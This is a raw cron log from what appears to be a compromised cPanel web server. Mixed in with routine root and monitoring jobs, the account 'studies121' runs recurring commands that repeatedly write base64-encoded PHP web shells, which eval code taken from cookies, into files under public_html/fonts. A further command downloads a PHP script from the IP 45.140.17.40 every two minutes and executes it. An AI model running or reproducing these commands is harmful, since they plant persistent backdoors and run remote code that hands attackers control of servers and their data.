Sep  3 18:51:01 ip-184-168-122-23 CROND[16729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:51:01 ip-184-168-122-23 CROND[16731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:52:01 ip-184-168-122-23 CROND[16818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:52:01 ip-184-168-122-23 CROND[16819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:52:01 ip-184-168-122-23 CROND[16825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:52:01 ip-184-168-122-23 CROND[16824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:52:01 ip-184-168-122-23 CROND[16822]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:53:01 ip-184-168-122-23 CROND[16902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:53:01 ip-184-168-122-23 CROND[16904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:53:01 ip-184-168-122-23 CROND[16905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:53:01 ip-184-168-122-23 CROND[16906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:54:01 ip-184-168-122-23 CROND[17069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:54:01 ip-184-168-122-23 CROND[17070]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:54:01 ip-184-168-122-23 CROND[17072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:54:01 ip-184-168-122-23 CROND[17071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:54:01 ip-184-168-122-23 CROND[17074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:55:01 ip-184-168-122-23 CROND[17157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:55:01 ip-184-168-122-23 CROND[17159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:55:01 ip-184-168-122-23 CROND[17160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:55:01 ip-184-168-122-23 CROND[17163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:55:01 ip-184-168-122-23 CROND[17162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:55:01 ip-184-168-122-23 CROND[17161]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:56:01 ip-184-168-122-23 CROND[17252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:56:01 ip-184-168-122-23 CROND[17257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:56:01 ip-184-168-122-23 CROND[17255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:56:01 ip-184-168-122-23 CROND[17254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:56:01 ip-184-168-122-23 CROND[17256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:57:01 ip-184-168-122-23 CROND[17354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:57:01 ip-184-168-122-23 CROND[17357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:57:01 ip-184-168-122-23 CROND[17358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:57:01 ip-184-168-122-23 CROND[17356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:58:01 ip-184-168-122-23 CROND[17448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:58:01 ip-184-168-122-23 CROND[17449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:58:01 ip-184-168-122-23 CROND[17452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:58:01 ip-184-168-122-23 CROND[17454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:58:01 ip-184-168-122-23 CROND[17453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:59:01 ip-184-168-122-23 CROND[17530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:59:01 ip-184-168-122-23 CROND[17534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:59:01 ip-184-168-122-23 CROND[17532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:59:01 ip-184-168-122-23 CROND[17533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:00:01 ip-184-168-122-23 CROND[17674]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:00:01 ip-184-168-122-23 CROND[17675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:00:01 ip-184-168-122-23 CROND[17679]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 19:00:01 ip-184-168-122-23 CROND[17683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:00:01 ip-184-168-122-23 CROND[17682]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:00:01 ip-184-168-122-23 CROND[17684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:00:01 ip-184-168-122-23 CROND[17681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:00:01 ip-184-168-122-23 CROND[17680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:01:01 ip-184-168-122-23 CROND[17800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:01:01 ip-184-168-122-23 CROND[17802]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 19:01:01 ip-184-168-122-23 CROND[17803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:01:01 ip-184-168-122-23 CROND[17805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:01:01 ip-184-168-122-23 CROND[17804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:01:01 ip-184-168-122-23 CROND[17807]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17802]: starting 0anacron
Sep  3 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17822]: finished 0anacron
Sep  3 19:02:01 ip-184-168-122-23 CROND[17915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:02:01 ip-184-168-122-23 CROND[17917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:02:01 ip-184-168-122-23 CROND[17916]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:02:01 ip-184-168-122-23 CROND[17919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:02:02 ip-184-168-122-23 CROND[17918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:03:01 ip-184-168-122-23 CROND[17996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:03:01 ip-184-168-122-23 CROND[17997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
